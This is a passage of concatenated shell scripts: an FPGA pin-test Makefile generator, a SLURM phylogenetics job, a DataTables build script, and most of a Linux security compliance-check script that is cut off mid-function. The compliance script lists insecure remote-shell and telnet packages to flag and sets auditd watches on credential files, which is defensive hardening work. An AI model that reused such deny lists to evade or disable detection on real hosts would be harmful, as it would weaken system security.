then\n\techo \"Incorrect number of pins:\" $(echo $pins | wc -w)\n\texit 1\nfi\n\n{\n\techo -n \"all:\"\n\tfor pin in $pins; do\n\t\tid=\"pinloc-1k-swg16tr_${pin}\"\n\t\techo -n \" ${id}.exp\"\n\tdone\n\techo\n\n\tfor pin in $pins; do\n\t\tid=\"pinloc-1k-swg16tr_${pin}\"\n\t\techo \"module top(output y); assign y = 0; endmodule\" > ${id}.v\n\t\techo \"set_io y ${pin}\" >> ${id}.pcf\n\t\techo; echo \"${id}.exp:\"\n\t\techo \"\tICEDEV=lp1k-swg16tr bash ../../icecube.sh ${id} > ${id}.log 2>&1\"\n\t\techo \"\t../../../icebox/icebox_explain.py ${id}.asc > ${id}.exp.new\"\n\t\techo \"\t! grep '^Warning: pin' ${id}.log\"\n\t\techo \"\trm -rf ${id}.tmp\"\n\t\techo \"\tmv ${id}.exp.new ${id}.exp\"\n\tdone\n} > pinloc-1k-swg16tr.mk\n\nset -ex\nmake -f pinloc-1k-swg16tr.mk -j4\npython3 ../pinlocdb.py pinloc-1k-swg16tr_*.exp > ../pinloc-1k-swg16tr.txt"} {"text": "yvanpapa/comparative_genomics_NZ_fish14_orthofinder_pipeline/6_modeltest.sh\n#!/bin/bash\n#SBATCH --cpus-per-task=24\n#SBATCH --mem-per-cpu=2G\n#SBATCH --partition=parallel\n#SBATCH --time=10-00:00:00\n#SBATCH --job-name=modeltest\n#SBATCH -o /nfs/scratch/papayv/Tarakihi/TARdn/Z_fish_assemblies/20_orthofinder/modeltest_%j.out\n#SBATCH -e /nfs/scratch/papayv/Tarakihi/TARdn/Z_fish_assemblies/20_orthofinder/modeltest_%j.err\n#SBATCH --mail-type=END,FAIL\n#SBATCH --mail-user=\n\nmodule use /home/software/tools/eb_modulefiles/all/Core\nmodule load foss/2020b\nmodule load ModelTest-NG/0.1.7 \n\nfile=/nfs/scratch/papayv/Tarakihi/TARdn/Z_fish_assemblies/20_orthofinder/outputs_all_teleost_June21/6_concatenated_alignement/alignement.fasta\noutdir=/nfs/scratch/papayv/Tarakihi/TARdn/Z_fish_assemblies/20_orthofinder/outputs_all_teleost_June21/7_modeltest/\nmkdir -p $outdir\n\nmodeltest-ng -d aa -i $file -o $outdir/models_report -p 24 -t ml"} {"text": "#!/bin/sh\n\nOUT_DIR=$1\nDEBUG=$2\n\n# Change into script's own dir\ncd $(dirname $0)\n\nDT_SRC=$(dirname $(dirname $(pwd)))\nDT_BUILT=\"${DT_SRC}/built/DataTables\"\n. $DT_SRC/build/include.sh\n\n# Copy CSS\nrsync -r css $OUT_DIR\ncss_frameworks fixedHeader $OUT_DIR/css\n\n# Copy JS\nrsync -r js $OUT_DIR\njs_compress $OUT_DIR/js/dataTables.fixedHeader.js\njs_frameworks fixedHeader $OUT_DIR/js\n\n# Copy and build examples\nrsync -r examples $OUT_DIR\nexamples_process $OUT_DIR/examples\n\n# Readme and license\ncp Readme.md $OUT_DIR\ncp License.txt $OUT_DIR"} {"text": "dalgaaf/tel-it-security-automation\n#!/bin/bash\n\n# tel-it-security-automation :- Ansible roles for automated security hardening. \n# Copyright (c) 2019 , [...] Deutsche Telekom AG \n# contact: \n# This file is distributed under the conditions of the Apache-2.0 license. \n# For details see the files LICENSING, LICENSE, and/or COPYING on the toplevel.\n\n# -----------------------------------------------------------------------------\n# Deutsche Telekom IT GmbH (DevSecOps Team)\n# Script for Compliance Check - Linux OS for Servers (3.65)\n# Version: 0.9.1\n# Date: 29-01-20 \n# -----------------------------------------------------------------------------\n\n# -----------------------------------------------------------------------------\n# Requirement Configuration\n# -----------------------------------------------------------------------------\n\n# Use the following variables (`REQ#`) to enable (TRUE) or disable (FALSE) \n# testing for security requirements. If a requirement is set to disabled it \n# will marked as 'Not Applicable' in Statement of Compliance list. In this \n# case a text with reason can be set with variable `REQ#_TXT`.\n\nREQ01=\"TRUE\"; REQ01_TXT=\"\"\nREQ02=\"TRUE\"; REQ02_TXT=\"\"\nREQ03=\"TRUE\"; REQ03_TXT=\"\"\nREQ04=\"TRUE\"; REQ04_TXT=\"\"\nREQ05=\"TRUE\"; REQ05_TXT=\"\"\nREQ06=\"TRUE\"; REQ06_TXT=\"\"\nREQ07=\"TRUE\"; REQ07_TXT=\"\"\nREQ08=\"TRUE\"; REQ08_TXT=\"\"\nREQ09=\"TRUE\"; REQ09_TXT=\"\"\n\nREQ10=\"TRUE\"; REQ10_TXT=\"\"\nREQ11=\"TRUE\"; REQ11_TXT=\"\"\nREQ12=\"TRUE\"; REQ12_TXT=\"\"\nREQ13=\"TRUE\"; REQ13_TXT=\"\"\nREQ14=\"TRUE\"; REQ14_TXT=\"\"\nREQ15=\"TRUE\"; REQ15_TXT=\"\"\nREQ16=\"TRUE\"; REQ16_TXT=\"\"\nREQ17=\"TRUE\"; REQ17_TXT=\"\"\nREQ18=\"TRUE\"; REQ18_TXT=\"\"\nREQ19=\"TRUE\"; REQ19_TXT=\"\"\n\nREQ20=\"TRUE\"; REQ20_TXT=\"\"\nREQ21=\"TRUE\"; REQ21_TXT=\"\"\nREQ22=\"TRUE\"; REQ22_TXT=\"\"\nREQ23=\"TRUE\"; REQ23_TXT=\"\"\nREQ24=\"TRUE\"; REQ24_TXT=\"\"\nREQ25=\"TRUE\"; REQ25_TXT=\"\"\nREQ26=\"TRUE\"; REQ26_TXT=\"\"\nREQ27=\"TRUE\"; REQ27_TXT=\"\"\nREQ28=\"TRUE\"; REQ28_TXT=\"\"\nREQ29=\"TRUE\"; REQ29_TXT=\"\"\n\nREQ30=\"TRUE\"; REQ30_TXT=\"\"\nREQ31=\"TRUE\"; REQ31_TXT=\"\"\nREQ32=\"TRUE\"; REQ32_TXT=\"\"\nREQ33=\"TRUE\"; REQ33_TXT=\"\"\nREQ34=\"TRUE\"; REQ34_TXT=\"\"\nREQ35=\"TRUE\"; REQ35_TXT=\"\"\nREQ36=\"TRUE\"; REQ36_TXT=\"\"\nREQ37=\"TRUE\"; REQ37_TXT=\"\"\nREQ38=\"TRUE\"; REQ38_TXT=\"\"\nREQ39=\"TRUE\"; REQ39_TXT=\"\"\n\nREQ40=\"TRUE\"; REQ40_TXT=\"\"\nREQ41=\"TRUE\"; REQ41_TXT=\"\"\nREQ42=\"TRUE\"; REQ42_TXT=\"\"\nREQ43=\"TRUE\"; REQ43_TXT=\"\"\nREQ44=\"TRUE\"; REQ44_TXT=\"\"\nREQ45=\"TRUE\"; REQ45_TXT=\"\"\nREQ46=\"TRUE\"; REQ46_TXT=\"\"\nREQ47=\"TRUE\"; REQ47_TXT=\"\"\nREQ48=\"TRUE\"; REQ48_TXT=\"\"\nREQ49=\"TRUE\"; REQ49_TXT=\"\"\n\nREQ50=\"TRUE\"; REQ50_TXT=\"\"\nREQ51=\"TRUE\"; REQ51_TXT=\"\"\nREQ52=\"TRUE\"; REQ52_TXT=\"\"\nREQ53=\"TRUE\"; REQ53_TXT=\"\"\nREQ54=\"TRUE\"; REQ54_TXT=\"\"\nREQ55=\"TRUE\"; REQ55_TXT=\"\"\nREQ56=\"TRUE\"; REQ56_TXT=\"\"\nREQ57=\"TRUE\"; REQ57_TXT=\"\"\nREQ58=\"TRUE\"; REQ58_TXT=\"\"\nREQ59=\"TRUE\"; REQ59_TXT=\"\"\n\nREQ60=\"TRUE\"; REQ60_TXT=\"\"\nREQ61=\"TRUE\"; REQ61_TXT=\"\"\nREQ62=\"TRUE\"; REQ62_TXT=\"\"\nREQ63=\"TRUE\"; REQ63_TXT=\"\"\nREQ64=\"TRUE\"; REQ64_TXT=\"\"\nREQ65=\"TRUE\"; REQ65_TXT=\"\"\nREQ66=\"TRUE\"; REQ66_TXT=\"\"\n\n# -----------------------------------------------------------------------------\n# Variables\n# -----------------------------------------------------------------------------\nTCP_PORTS=\"22\"\nUDP_PORTS=\"68 123\"\nFIREWALL_SOLUTIONS=\"iptables nftables\"\nUBUNTU_IPTABLES_TOOLS=\"iptables-persistent\"\nREDHAT_IPTABLES_TOOLS=\"iptables-services\"\nCLIENTS=\"rsh-redone-client rsh-client talk telnet ldap-utilsi \\\ninetutils-telnet rsh ypbind\"\nSERVERS=\"openbsd-inetd inetutils-inetd xinetd xserver-xorg-core vsftpd \\\nnfs-kernel-server ftpd dovecot-core dovecot-pop3d dovecot-imapd nis \\\nisc-dhcp-server avahi-daemon snmpd avahi telnet-server talk-server \\\ntftp-server rsh-server yp-tools inetd atftp yast2-tftp-server avahi-dnsconfd \\\nrsh-server inetutils-telnetd friendly-recovery avahi-dnsconfd avahi-ui-utils \\\ntftpd-hpa iscsi.service\"\nPARTITIONS=\"/tmp /var\" # add more if needed: /var/tmp, /var/log instead of /var\nUMASK=\"027\"\nSUID_FILES=\"/bin/ping /sbin/pam_timestamp_check /sbin/unix_chkpwd /usr/bin/at \\\n /usr/bin/gpasswd /usr/bin/locate /usr/bin/newgrp /usr/bin/passwd /bin/ping6 \\\n /usr/bin/ssh-agent /usr/sbin/lockdev /sbin/mount.nfs /sbin/umount.nfs \\\n /usr/sbin/sendmail.sendmail /usr/bin/expiry /usr/libexec/utempter/utempter \\\n /usr/bin/traceroute6.iputils /sbin/mount.nfs4 /sbin/umount.nfs4 /usr/bin/crontab \\\n /usr/bin/wall /usr/bin/write /usr/bin/screen /usr/bin/mlocate /usr/bin/chage \\\n /usr/bin/chfn /usr/bin/chsh /bin/fusermount /usr/bin/pkexec /usr/bin/sudo \\\n /usr/bin/sudoedit /usr/sbin/postdrop /usr/sbin/postqueue /usr/sbin/suexec \\\n /usr/sbin/ccreds_validate /usr/lib/dbus-1.0/dbus-daemon-launch-helper \\\n /usr/lib/policykit-1/polkit-agent-helper-1\"\n# Sysctl (VARIABLE=\" \")\nSUID_DUMPABLE=\"fs.suid_dumpable 0\"\nRANDOM_VA_SPACE=\"kernel.randomize_va_space 2\"\n# IPv4 Stack Configuration\nIPV4_1=\"net.ipv4.ip_forward 0\"\nIPV4_2=\"net.ipv4.conf.all.accept_redirects 0\"\nIPV4_3=\"net.ipv4.conf.default.accept_redirects 0\"\nIPV4_4=\"net.ipv4.conf.all.secure_redirects 1\"\nIPV4_5=\"net.ipv4.conf.default.secure_redirects 1\"\nIPV4_6=\"net.ipv4.conf.all.send_redirects 0\"\nIPV4_7=\"net.ipv4.conf.default.send_redirects 0\"\nIPV4_8=\"net.ipv4.conf.all.accept_source_route 0\"\nIPV4_9=\"net.ipv4.conf.default.accept_source_route 0\"\nIPV4_10=\"net.ipv4.conf.all.log_martians 1\"\nIPV4_11=\"net.ipv4.conf.default.log_martians 1\"\nIPV4_12=\"net.ipv4.icmp_echo_ignore_broadcasts 1\"\nIPV4_13=\"net.ipv4.icmp_ignore_bogus_error_responses 1\"\nIPV4_14=\"net.ipv4.conf.all.rp_filter 1\"\nIPV4_15=\"net.ipv4.conf.default.rp_filter 1\"\nIPV4_16=\"net.ipv4.tcp_syncookies 1\"\nIPV4_17=\"net.ipv4.icmp_ratelimit 100\"\nIPV4_18=\"net.ipv4.icmp_ratemask 88089\"\nIPV4_19=\"net.ipv4.tcp_timestamps 0\"\nIPV4_20=\"net.ipv4.conf.all.arp_ignore 2\"\nIPV4_21=\"net.ipv4.conf.all.arp_announce 2\"\nIPV4_22=\"net.ipv4.conf.all.arp_notify 0\"\nIPV4_23=\"net.ipv4.conf.all.arp_accept 0\"\n# IPv6 Stack Configuration\nIPV6_1=\"net.ipv6.conf.all.disable_ipv6 0\"\nIPV6_2=\"net.ipv6.conf.default.disable_ipv6 0\"\nIPV6_3=\"net.ipv6.conf.all.forwarding 0\"\nIPV6_4=\"net.ipv6.conf.default.forwarding 0\"\nIPV6_5=\"net.ipv6.conf.all.accept_redirects 0\"\nIPV6_6=\"net.ipv6.conf.default.accept_redirects 0\"\nIPV6_7=\"net.ipv6.conf.all.accept_source_route 0\"\nIPV6_8=\"net.ipv6.conf.default.accept_source_route 0\"\nIPV6_9=\"net.ipv6.conf.all.accept_ra 0\"\nIPV6_10=\"net.ipv6.conf.default.accept_ra 0\"\nIPV6_11=\"net.ipv6.conf.all.accept_ra_rtr_pref 0\"\nIPV6_12=\"net.ipv6.conf.default.accept_ra_rtr_pref 0\"\nIPV6_13=\"net.ipv6.conf.all.accept_ra_pinfo 0\"\nIPV6_14=\"net.ipv6.conf.default.accept_ra_pinfo 0\"\nIPV6_15=\"net.ipv6.conf.all.accept_ra_defrtr 0\"\nIPV6_16=\"net.ipv6.conf.default.accept_ra_defrtr 0\"\nIPV6_17=\"net.ipv6.conf.all.router_solicitations 0\"\nIPV6_18=\"net.ipv6.conf.default.router_solicitations 0\"\nIPV6_19=\"net.ipv6.conf.all.dad_transmits 0\"\nIPV6_20=\"net.ipv6.conf.default.dad_transmits 0\"\nIPV6_21=\"net.ipv6.conf.all.autoconf 0\"\nIPV6_22=\"net.ipv6.conf.default.autoconf 0\"\nALLOWED_USERS=\"devsecops ec2-user ubuntu\"\n# LogRotate\nLOG_ROTATE_TIME=\"weekly\"\nLOG_ROTATE_COUNT=\"4\"\nLOG_ROTATE_MAXSIZE=\"10M\"\nTIMEZONE=\"Europe/Berlin\"\nMAX_LOG_FILE=\"10\"\nMAX_NUM_LOGS=\"5\"\nMAX_LOG_FILE_ACTION=\"ROTATE\"\n# Logging with Auditd \nSYS_EVENTS_1=\"-a always,exit -F arch=b64 -S execve -F path=/sbin/reboot\"\nSYS_EVENTS_2=\"-a always,exit -F arch=b64 -S execve -F path=/sbin/poweroff\"\nSYS_EVENTS_3=\"-a always,exit -F arch=b64 -S execve -F path=/sbin/shutdow\"\nSYS_EVENTS_4=\"-w /etc/at.allow\"\nSYS_EVENTS_5=\"-w /etc/at.deny\"\nSYS_EVENTS_6=\"-w /var/spool/at\"\nSYS_EVENTS_7=\"-w /etc/crontab\"\nSYS_EVENTS_8=\"-w /etc/anacrontab\"\nSYS_EVENTS_9=\"-w /etc/cron.allow\"\nSYS_EVENTS_10=\"-w /etc/cron.deny\"\nSYS_EVENTS_11=\"-w /etc/cron.d\"\nSYS_EVENTS_12=\"-w /etc/cron.hourly\"\nSYS_EVENTS_13=\"-w /etc/cron.daily\"\nSYS_EVENTS_14=\"-w /etc/cron.weekly\"\nSYS_EVENTS_15=\"-w /etc/cron.monthly\"\nSYS_EVENTS_16=\"-a always,exit -F arch=b64 -S adjtimex,settimeofday -F key=time-change\"\nSYS_EVENTS_17=\"-a always,exit -F arch=b64 -S clock_settime -F key=time-change\"\nSYS_EVENTS_18=\"-w /etc/localtime -p wa -k time-change\"\nSYS_EVENTS_19=\"-a always,exit -F arch=b64 -S mount -F auid>=1000 -F auid!=-1 -F key=mounts\"\nSYS_EVENTS_20=\"-a always,exit -F arch=b64 -S mount -F auid>=500 -F auid!=-1 -F key=export\"\nSYS_EVENTS_21=\"-w /sbin/insmod -p x -k modules\"\nSYS_EVENTS_22=\"-w /sbin/rmmod -p x -k modules\"\nSYS_EVENTS_23=\"-w /sbin/modprobe -p x -k modules\"\nSYS_EVENTS_24=\"-a always,exit -F arch=b64 -S init_module,delete_module -F key=modules\"\nSYS_EVENTS_REDHAT1=\"-w /usr/bin/rpm -p x -k software_mgmt\"\nSYS_EVENTS_REDHAT2=\"-w /usr/bin/yum -p x -k software_mgmt\"\nSYS_EVENTS_SUSE1=\"-w /usr/bin/rpm -p x -k software_mgmt\"\nSYS_EVENTS_SUSE2=\"-w /usr/bin/zypper -p x -k software_mgmt\"\nSYS_EVENTS_DEBIAN1=\"-w /usr/bin/dpkg -p x -k software_mgmt\"\nSYS_EVENTS_DEBIAN2=\"-w /usr/bin/apt-add-repository -p x -k software_mgmt\"\nSYS_EVENTS_DEBIAN3=\"-w /usr/bin/apt-get -p x -k software_mgmt\"\nSYS_EVENTS_DEBIAN4=\"-w /usr/bin/aptitude -p x -k software_mgmt\"\nACCESS_EVENTS_1=\"-w /var/log/lastlog -p wa -k logins\"\nACCESS_EVENTS_2=\"-w /etc/shadow -p wa -k identity\"\nACCESS_EVENTS_3=\"-w /etc/gshadow -p wa -k identity\"\nACCESS_EVENTS_4=\"-w /etc/security/opasswd -p wa -k identity\"\nACCESS_EVENTS_5=\"-w /etc/sudoers -p wa -k scope\"\nACCESS_EVENTS_6=\"-w /etc/sudoers.d\" # -p wa -k scope (problem with Ubuntu 16.04)\nACCESS_EVENTS_7=\"-w /var/log/sudo.log -p wa -k actions\"\nACCESS_EVENTS_8=\"-a always,exit -F arch=b64 -S chmod,fchmod,fchmodat -F auid>=1000 -F auid!=-1 -F key=perm_mod\"\nACCESS_EVENTS_9=\"-a always,exit -F arch=b64 -S chown,fchown,lchown,fchownat -F auid>=1000 -F auid!=-1 -F key=perm_mod\"\nACCESS_EVENTS_10=\"-a always,exit -F arch=b64 -S setxattr,lsetxattr,fsetxattr,removexattr,lremovexattr,fremovexattr -F auid>=1000 -F auid!=-1 -F key=perm_mod\"\nACCESS_EVENTS_REDHAT1=\"-w /var/run/faillock/ -p wa -k logins\"\nACCESS_EVENTS_REDHAT2=\"-w /etc/selinux/ -p wa -k MAC-policy\"\nACCESS_EVENTS_SUSE1=\"-w /var/log/faillog -p wa -k logins\"\nACCESS_EVENTS_SUSE2=\"-w /etc/apparmor/ -p wa -k MAC-policy\"\nACCESS_EVENTS_SUSE3=\"-w /etc/apparmor.d/ -p wa -k MAC-policy\"\nACCESS_EVENTS_DEBIAN1=\"-w /var/log/faillog -p wa -k logins\"\nACCESS_EVENTS_DEBIAN2=\"-w /var/log/tallylog -p wa -k logins\"\nACCESS_EVENTS_DEBIAN3=\"-w /etc/apparmor/ -p wa -k MAC-policy\"\nACCESS_EVENTS_DEBIAN4=\"-w /etc/apparmor.d/ -p wa -k MAC-policy\"\nACC_GRP_MGMT_EVENTS_1=\"-w /etc/passwd -p wa -k identity\"\nACC_GRP_MGMT_EVENTS_2=\"-w /etc/group -p wa -k identity\"\nCHANGE_EVENTS_1=\"-w /var/log/audit/audit.log\"\nCHANGE_EVENTS_2=\"-w /var/log/audit/audit\\[1-4\\].log\"\nCHANGE_EVENTS_3=\"-w /etc/syslog\"\nCHANGE_EVENTS_4=\"-w /etc/rsyslog.conf\"\nCHANGE_EVENTS_5=\"-w /etc/rsyslog.d/conf\"\nCHANGE_EVENTS_6=\"-w /etc/audit/auditd.conf -p wa\"\nCHANGE_EVENTS_7=\"-w /etc/audit/audit.rules -p wa\"\nCHANGE_EVENTS_8=\"-a always,exit -F arch=b64 -S sethostname,setdomainname -F key=system-locale\"\nCHANGE_EVENTS_9=\"-w /etc/issue -p wa -k system-locale\"\nCHANGE_EVENTS_10=\"-w /etc/issue.net -p wa -k system-locale\"\nCHANGE_EVENTS_11=\"-w /etc/hosts -p wa -k system-locale\"\nCHANGE_EVENTS_12=\"-w /etc/network? -p wa -k system-locale\"\nCHANGE_EVENTS_13=\"-w /etc/networks -p wa -k system-locale\"\nCHANGE_EVENTS_14=\"-w /etc/pam.d\"\nCHANGE_EVENTS_15=\"-w /etc/nsswitch.conf\"\nCHANGE_EVENTS_16=\"-w /etc/ssh/sshd_config\"\nCHANGE_EVENTS_17=\"-w /etc/sysctl.conf\"\nCHANGE_EVENTS_18=\"-w /etc/modprobe.conf\"\nCHANGE_EVENTS_19=\"-w /etc/profile.d\"\nCHANGE_EVENTS_20=\"-w /etc/profile\"\nCHANGE_EVENTS_21=\"-w /etc/shells\"\nCHANGE_EVENTS_REDHAT1=\"-w /var/log/messages\"\nCHANGE_EVENTS_REDHAT2=\"-w /etc/sysconfig/network -p wa -k system-locale\"\nCHANGE_EVENTS_REDHAT3=\"-w /etc/sysconfig/network-scripts -p wa -k system-locale\"\nCHANGE_EVENTS_SUSE1=\"-w /var/log/messages\"\nCHANGE_EVENTS_SUSE2=\"-w /etc/sysconfig/network -p wa -k system-locale\"\nCHANGE_EVENTS_SUSE3=\"-w /etc/sysconfig/network-scripts -p wa -k system-locale\"\nCHANGE_EVENTS_DEBIAN1=\"-w /var/log/auth.log\"\nCHANGE_EVENTS_DEBIAN2=\"-w /var/log/system.log\"\nCHANGE_EVENTS_DEBIAN3=\"-w /etc/network/interfaces -p wa -k system-locale\"\nSYSLOG_TYPE=\"rsyslog\" # syslog-ng not supported in this version\n# Pluggable Authentication Module (PAM)\nPAM_FILES_REDHAT=\"password-auth system-auth\"\nPAM_FILES_SUSE=\"common-password\"\nPAM_FILES_DEBIAN=\"common-password\"\nPAM_ROUNDS=\"640000\"\nPAM_ENRYPT_METHOD=\"sha512\"\nPAM_PASSWORD_LENGTH=\"12\"\nPAM_CHAR_CLASSES=\"3\"\nPAM_FAILED_LOGIN_ATTEMPS=\"5\"\nPAM_UNLOCK_TIME=\"600\"\n# Mandatory Access Control (MAC)\nMAC_TOOLS_REDHAT=\"libselinux\"\nMAC_TOOLS_SUSE=\"libapparmor1 apparmor-profiles apparmor-utils apparmor-parser \\\nyast2-apparmor apparmor-docs audit\"\nMAC_TOOLS_DEBIAN=\"apparmor apparmor-utils\"\nSELINUX_SOFTWARE=\"setroubleshoot mcstrans\"\nFILE_SELINUX=\"/etc/selinux/config\"\nFILE_APPARMOR=\"/etc/apparmor.d/*\"\n# System Files (default user, group & priviledges)\n# /etc/passwd\nFILE_SET_REDHAT1=\"644 root root\"\nFILE_SET_SUSE1=\"644 root root\"\nFILE_SET_UBUNTU161=\"644 root root\"\nFILE_SET_UBUNTU181=\"644 root root\"\n# /etc/passwd-\nFILE_SET_REDHAT2=\"644 root root\"\nFILE_SET_SUSE2=\"644 root root\"\nFILE_SET_UBUNTU162=\"644 root root\"\nFILE_SET_UBUNTU182=\"644 root root\"\n# /etc/shadow\nFILE_SET_REDHAT3=\"0 root root\"\nFILE_SET_SUSE3=\"640 root shadow\"\nFILE_SET_UBUNTU163=\"640 root shadow\"\nFILE_SET_UBUNTU183=\"640 root shadow\"\n# /etc/shadow-\nFILE_SET_REDHAT4=\"0 root root\"\nFILE_SET_SUSE4=\"640 root shadow\"\nFILE_SET_UBUNTU164=\"600 root root\"\nFILE_SET_UBUNTU184=\"640 root shadow\"\n# /etc/group\nFILE_SET_REDHAT5=\"644 root root\"\nFILE_SET_SUSE5=\"644 root root\"\nFILE_SET_UBUNTU165=\"644 root root\"\nFILE_SET_UBUNTU185=\"644 root root\"\n# /etc/group-\nFILE_SET_REDHAT6=\"644 root root\"\nFILE_SET_SUSE6=\"644 root root\"\nFILE_SET_UBUNTU166=\"600 root root\"\nFILE_SET_UBUNTU186=\"644 root root\"\n# grub.cfg\nFILE_SET_REDHAT7=\"644 root root\"\nFILE_SET_SUSE7=\"600 root root\"\nFILE_SET_UBUNTU167=\"444 root root\"\nFILE_SET_UBUNTU187=\"444 root root\"\n# /etc/sysctl.conf\nFILE_SET_REDHAT8=\"644 root root\"\nFILE_SET_SUSE8=\"644 root root\"\nFILE_SET_UBUNTU168=\"644 root root\"\nFILE_SET_UBUNTU188=\"644 root root\"\n# /etc/ssh/sshd_config\nFILE_SET_REDHAT9=\"600 root root\"\nFILE_SET_SUSE9=\"640 root root\"\nFILE_SET_UBUNTU169=\"644 root root\"\nFILE_SET_UBUNTU189=\"644 root root\"\n# /etc/gshadow\nFILE_SET_REDHAT10=\"0 root root\"\nFILE_SET_UBUNTU1610=\"640 root shadow\"\nFILE_SET_UBUNTU1810=\"640 root shadow\"\n# /etc/gshadow-\nFILE_SET_REDHAT11=\"0 root root\"\nFILE_SET_UBUNTU1611=\"600 root root\"\nFILE_SET_UBUNTU1811=\"640 root shadow\"\n\n# -----------------------------------------------------------------------------\n# Output File Configuration\n# -----------------------------------------------------------------------------\nDAY=`date +\"%d%m%y\"`\nOS=$(awk -F\\= '/^ID=/ {print $2}' /etc/os-release | tr -d '\"')\nOS_VERSION=$(awk -F\\\" '/^VERSION_ID=/ {print $2}' /etc/os-release)\nOUT_FILE=\"compliance-$OS$OS_VERSION-$DAY.log\"\nOUT_CSV=\"compliance-$OS$OS_VERSION-$DAY.csv\"\nexec > >(tee $OUT_FILE) 2>&1\nexec 3>$OUT_CSV\necho \"ReqNo.;Requirement;Statement of Compliance\">&3\n\n# -----------------------------------------------------------------------------\n# Pre-Checks\n# -----------------------------------------------------------------------------\n\n# Function: Output for Pre-Checks\nwrite_error () {\n if [ \"$1\" != \"1\" ]; then\n echo -e \"[Pre-Check] $2:\\e[1;32m PASSED\\e[0m\";\n else\n echo -e \"[Pre-Check] $2:\\e[1;31m FAILED\\e[0m ($3)\";\n echo \"-------------------------------------------------------------------------------\"\n echo -e \" \\e[1;31m All tests skipped! \\e[0m\"\n exit 1\n fi\n}\n\nTXT=\"Check running Linux version is supported\"\nif [ -f /etc/os-release ]; then\n # Linux OS IDs from file /etc/os-release:\n # - Amazon Linux = amzn\n # - RHEL = rhel\n # - CentOS = centos\n # - SLES = sles\n # - Ubuntu = ubuntu\n OS=$(awk -F\\= '/^ID=/ {print $2}' /etc/os-release | tr -d '\"')\n # Full Linux OS name\n OS_NAME=$(awk -F\\\" '/^NAME=/ {print $2}' /etc/os-release)\n # Linux version (e.g. Ubuntu 18.04)\n OS_VERSION=$(awk -F\\\" '/^VERSION_ID=/ {print $2}' /etc/os-release)\n # Major version of Linux (e.g. 18 for Ubuntu 18.04)\n MAJOR_VERSION=$(echo $OS_VERSION | awk -F\\. '{print $1}')\n if [ \"$OS\" == \"amzn\" ] || [ \"$OS\" == \"rhel\" ] || [ \"$OS\" == \"centos\" ]; then\n OS_MAIN_DISTRO=\"REDHAT\";\n PACKAGE=\"rpm -qa\";\n NOLOGIN_PATH=\"/sbin/nologin\";\n AUDIT_DAEMON=\"audit\";\n RSYSLOG_CONF=\"/etc/rsyslog.conf\";\n FILE_GRUB=\"/boot/grub2/grub.cfg\";\n MAC_SOLUTION=\"selinux\";\n ERR=0;\n elif [ \"$OS\" == \"debian\" ] || [ \"$OS\" == \"ubuntu\" ]; then\n OS_MAIN_DISTRO=\"DEBIAN\";\n PACKAGE=\"apt list --installed\";\n # PACKAGE=\"dpkg -l\";\n NOLOGIN_PATH=\"/usr/sbin/nologin\";\n AUDIT_DAEMON=\"auditd\";\n RSYSLOG_CONF=\"/etc/rsyslog.d/50-default.conf\";\n FILE_GRUB=\"/boot/grub/grub.cfg\";\n MAC_SOLUTION=\"apparmor\";\n ERR=0;\n elif [ \"$OS\" == \"sles\" ]; then\n OS_MAIN_DISTRO=\"SUSE\";\n PACKAGE=\"rpm -qa\";\n NOLOGIN_PATH=\"/sbin/nologin\";\n AUDIT_DAEMON=\"audit\";\n RSYSLOG_CONF=\"/etc/rsyslog.d/remote.conf\";\n FILE_GRUB=\"/boot/grub2/grub.cfg\";\n MAC_SOLUTION=\"apparmor\";\n ERR=0;\n else\n ERR=1;\n OS_NAME=$(awk -F\\\" '/^VERSION=/ {print $2}' /etc/os-release)\n ERR_TXT=\"Linux $OS_NAME not supported\"\n fi\nelse\n ERR=1;\n ERR_TXT=\"Linux not identified\";\nfi\n\necho \"-------------------------------------------------------------------------------\"\necho \" Telekom IT/DevSecOps - Compliance Check - Linux OS (3.65)\"\necho \"-------------------------------------------------------------------------------\"\necho \" Host: \"$HOSTNAME\necho \" Date: \"$(date +\"%d-%m-%y\")\necho \" OS: \"$(awk -F\\\" '/^NAME=/ {print $2}' /etc/os-release)\necho \" Version: \"$(awk -F\\\" '/^VERSION=/ {print $2}' /etc/os-release)\necho -e \"-------------------------------------------------------------------------------\\n\"\n\nwrite_error $ERR \"$TXT\" \"$ERR_TXT\"\n\n# Check if script is started with root priviledges\nTXT=\"Check if script is started with root priviledges\"\nif [ \"$EUID\" -ne 0 ]; then\n ERR=1;\n ERR_TXT=\"not root\";\nelse\n ERR=0;\nfi\nwrite_error $ERR \"$TXT\" \"$ERR_TXT\"\n\nif [ -z \"$(ls -A /etc/sysctl.d/)\" ]; then\n SYSCTL_CONF=\"/etc/sysctl.conf\"\nelse\n SYSCTL_CONF=\"/etc/sysctl.conf /etc/sysctl.d/*\"\nfi\n\n# -----------------------------------------------------------------------------\n# Functions\n# -----------------------------------------------------------------------------\nwrite_to_soc () {\n COMMENT=\" \";\n if [ -n \"$3\" ]; then COMMENT=$3; fi\n\n if [ $1 -eq 0 ]; then\n echo \"Req $REQ_NR;$REQ_TXT;Compliant;\">&3;\n else\n if [ $2 -ne 0 ]; then\n echo \"Req $REQ_NR;$REQ_TXT;Partly Compliant;$COMMENT\">&3;\n else\n echo \"Req $REQ_NR;$REQ_TXT;Not Compliant;$COMMENT\">&3;\n fi\n fi\n}\n\nconfig_sysctl () {\n SYSCTL=$(sysctl $1 | awk '{print $3}');\n\n # Test 1\n NUM=1\n if [ $SYSCTL -eq $2 ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if $1 is $2:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if $1 is $2:\\e[1;31m FAILED\\e[0m (value: $SYSCTL)\";\n fi\n\n # Test 2\n NUM=1\n CHK_FILE=\"$(grep -h \"$1[ ]*=[ ]*$2\" $SYSCTL_CONF | grep \"^[[:blank:]]*[^#]\" | tr -d ' ')\"\n if [ $(echo $CHK_FILE | wc -l) -eq 0 ]; then\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check $1 is in config:\\e[1;31m FAILED\\e[0m (absent)\";\n else\n for CHK in $CHK_FILE; do\n CHK_VALUE=$(echo $CHK | awk -F\\= '{print $2}')\n if [ \"$CHK_VALUE\" == \"$2\" ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check $1 is in config:\\e[1;32m PASSED\\e[0m\";\n else\n let FAIL=$FAIL+1;\n ERR=1;\n echo -e 